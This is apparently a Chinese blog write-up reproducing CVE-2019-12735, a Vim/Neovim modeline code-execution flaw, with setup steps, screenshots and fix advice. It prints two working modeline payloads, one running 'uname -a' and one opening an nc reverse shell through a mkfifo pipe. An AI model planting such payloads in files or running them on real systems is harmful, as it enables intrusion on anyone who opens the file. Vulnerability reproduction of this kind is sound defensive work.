CVE-2019-12735(Vim远程代码执行)漏洞复现

1.漏洞影响版本

Vim   <   8.1.1365

Neovim      <       0.3.6 

2.漏洞利用条件

该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。

3.漏洞环境搭建

测试机kali linux 

Vim版本8.1.948

CVE-2019-12735(Vim远程代码执行)漏洞复现_第1张图片

由于这个版本没有默认开启modeline,所以需要自己手动添加下,修改home/.vimrc文件,添加一条规则set modeline(如果没有.vimrc文件,自己手动创建一个)

CVE-2019-12735(Vim远程代码执行)漏洞复现_第2张图片

脚本是大佬pcy190编写的,链接:https://github.com/pcy190/ace-vim-neovim/

一个尝试执行uname的poc,一个利用nc反弹shell的poc

CVE-2019-12735(Vim远程代码执行)漏洞复现_第3张图片

poc_uname.txt

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

poc_shell.txt

:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1  9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

4.漏洞复现

尝试poc_uname.txt,利用在kali liunx里面利用vim打开,成功执行uname命令

尝试nc反弹shell

CVE-2019-12735(Vim远程代码执行)漏洞复现_第4张图片

5.修复建议

1.更新vim到最新版本

2.禁用编辑器的 modeline功能,把set modeline 改为set nomodeline

3.利用vim编辑的时候,查看文件来源是否正规

 

感谢各位大佬赏脸,有什么不足的地方请多多指教,谢谢!!!

 

你可能感兴趣的:(漏洞复现)